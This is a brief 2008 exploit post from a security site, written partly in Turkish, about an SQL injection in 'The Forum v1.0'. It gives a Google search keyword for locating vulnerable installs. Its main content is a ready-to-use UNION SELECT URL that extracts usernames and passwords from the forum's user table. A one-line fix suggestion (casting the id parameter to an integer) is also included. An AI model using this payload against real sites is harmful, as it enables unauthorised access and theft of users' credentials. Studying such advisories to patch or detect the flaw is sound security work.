The Forum v1.0 SQL Injection | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > The Forum v1.0 SQL Injection

Madde
	Author : Bug Researchers
	Date : 11.02.2008 18:53:47
	# The Forum v1.0 SQL Injection [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : The Forum v1.0 # Vulnerable Type : SQL Injection # Google Keyword : The Forum v1.0 # Infection : Veritabanindan Kullanici adi ve sifresi gibi verilere erisim saglanabilir. # Bug Fix Advice : id degerini alfanumerik karakterlerden arindirmak gerekiyor. Example bug code id = Cint(Request.Querystring(uyeno)) # author : Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > http://www.example.com/fertdidik.asp?uyeno=7+union+select+1,kadi,sifre,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+uyeler+where+uyeno=7 < -- bug code end of -- >